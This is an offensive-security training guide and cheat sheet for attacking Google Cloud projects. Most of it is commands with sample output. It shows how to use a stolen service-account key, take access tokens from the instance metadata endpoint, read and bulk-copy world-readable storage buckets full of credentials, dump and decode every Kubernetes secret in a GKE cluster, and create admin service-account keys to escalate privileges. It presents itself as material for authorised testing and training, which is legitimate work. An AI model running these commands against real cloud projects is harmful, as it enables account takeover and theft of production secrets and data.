



◆ OFFENSIVE SECURITY SERIES ◆

GCP DEEP DIVE

IAM Abuse, GCS Buckets, GKE Exploitation & IMDS Token Theft

IAM Abuse · GCS Buckets · GKE · Metadata API · SA Key Export · PrivEsc

IAM Enum

GCS Buckets

GCP IMDS

GKE Exploit

K8s Secrets

SA Key Export

Cloud SQL

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

GCP DEEP DIVE — IAM Abuse, GCS Buckets, GKE Exploitation & IMDS Token Theft

01.	GCP SA KEY AUTH + IAM POLICY + IMDS
02.	GCS BUCKET — WORLD READABLE + EXFIL
03.	GKE CLUSTER ACCESS + SECRET DUMP
04.	GCP DEEP DIVE CHEAT SHEET



01 — GCP AUTH & IAM

SA Key + IMDS Token

```
GCP - SA Key Auth + IAM Policy + IMDS Token

# Activate stolen service account key
$ gcloud auth activate-service-account --key-file=stolen_key.json
Activated service account credentials for: [webapp-sa@targetproject.iam.gserviceaccount.com]

$ gcloud config get-value account && gcloud config get-value project
webapp-sa@targetproject.iam.gserviceaccount.com
targetproject-prod

$ gcloud projects get-iam-policy targetproject-prod --flatten="bindings[].members" --format="table(bindings.role,bindings.members)" 2>/dev/null | grep -E "owner|editor|admin"
roles/owner      serviceAccount:webapp-sa@targetproject-prod.iam.gserviceaccount.com
roles/editor     serviceAccount:deploy-sa@targetproject-prod.iam.gserviceaccount.com
roles/iam.admin  user:jdoe@targetcorp.com

# GCP Metadata API - steal access token from GCE instance
$ curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
{"access_token":"ya29.c.c0AY_VpZhB5K2...very-long-google-token...", "expires_in":3599, "token_type":"Bearer"}
```

Figure: SA key has roles/owner, GCP IMDS returns access token valid for 3599 seconds



02 — GCS BUCKETS

World Readable + Exfil

```

GCS Bucket – World Readable + Credential Exfil

# GCS bucket enumeration and exfiltration
$ gsutil ls
gs://targetproject-prod-assets/
gs://targetproject-backup-2024/
gs://targetproject-dev-configs/

$ gsutil iam get gs://targetproject-backup-2024
{"bindings": [{"members": ["allUsers"], "role": "roles/storage.objectViewer"}]}
# allUsers = WORLD READABLE!

$ gsutil ls -r gs://targetproject-backup-2024/
gs://targetproject-backup-2024/config/.env
gs://targetproject-backup-2024/keys/service_account.json
gs://targetproject-backup-2024/backups/db_dump_20240107.sql.gz

$ gsutil cat gs://targetproject-backup-2024/config/.env
DB_HOST=prod-db.targetproject-prod.internal
DB_PASS=GcpDbP@ss2024!
FIREBASE_API_KEY=AIzaSyDaGmWka4JsXZ-HjGw6NXXKzEnSGS2K7JA
GCP_SERVICE_ACCOUNT_KEY={"type": "service_account", "project_id": "targetproject-prod"...}

```

Figure: GCS bucket allUsers readable, .env has DB password, Firebase key, and another SA key



03 — GKE CLUSTER

K8s Access + Secret Dump

```
GKE Cluster Access + Secret Dump

# GKE cluster exploitation
$ gcloud container clusters list
NAME            LOCATION      STATUS  NODES
prod-cluster    us-central1-a RUNNING  5
dev-cluster     us-central1-b RUNNING  3

$ gcloud container clusters get-credentials prod-cluster --region us-central1-a
Fetching cluster endpoint and auth data.
kubeconfig entry generated for prod-cluster.

$ kubectl auth can-i --list | grep -E "create|delete|escalate" | head -8
create pods      * Yes
create secrets   * Yes
delete pods      * Yes
escalate *        * Yes

$ kubectl get secrets --all-namespaces -o json | python3 -c "import sys,json,base64; d=json.load(sys.stdin); [pr
    int(i['metadata']['namespace']+'/'+i['metadata']['name']+': '+str({k:base64.b64decode(v).decode(errors='re
    place')}[:50] for k,v in i.get('data',{}).items())) for i in d['items']]" | grep -v "^default"
prod/db-credentials: {'password': 'GcpDbP@ss2024!', 'username': 'db_admin'}
prod/api-keys: {'stripe_key': 'sk_live_5lAbcl23XYZ...', 'jwt_secret': 'jwt_prod_secret'}
```

Figure: GKE cluster accessed, full RBAC permissions confirmed, K8s secrets contain production credentials



04 — CHEAT SHEET

Quick Reference

Activate SA key	<code>gcloud auth activate-service-account --key-file=key.json</code>
Set env creds	<code>export GOOGLE_APPLICATION_CREDENTIALS=/path/to/key.json</code>
Who am I	<code>gcloud config get-value account && gcloud config get-value project</code>
Project IAM policy	<code>gcloud projects get-iam-policy PROJECT_ID</code>
List SA accounts	<code>gcloud iam service-accounts list</code>
GCS list all	<code>gsutil ls</code>
GCS check ACL	<code>gsutil iam get gs://BUCKET (allUsers = public = FINDING)</code>
GCS download all	<code>gsutil -m cp -r gs://BUCKET/ /tmp/loot/</code>
GCS read file	<code>gsutil cat gs://BUCKET/path/file.env</code>
GCP IMDS token	<code>curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"</code>
Use token	<code>curl -H "Authorization: Bearer TOKEN" "https://www.googleapis.com/storage/v1/b?project=PROJECT_ID"</code>
Export SA key (privesc)	<code>gcloud iam service-accounts keys create key.json --iam-account ADMIN_SA</code>
Impersonate SA	<code>gcloud config set auth/impersonate_service_account ADMIN_SA</code>
GKE kubeconfig	<code>gcloud container clusters get-credentials CLUSTER --region REGION</code>
K8s can-i	<code>kubectl auth can-i --list</code>
K8s dump secrets	<code>kubectl get secrets --all-namespaces -o json</code>
K8s exec pod	<code>kubectl exec -it POD_NAME -- /bin/bash</code>
Cloud SQL check	<code>gcloud sql instances describe NAME grep authorizedNetworks (0.0.0.0/0 = FINDING)</code>
ScoutSuite GCP	<code>scout gcp --project-id PROJECT_ID</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.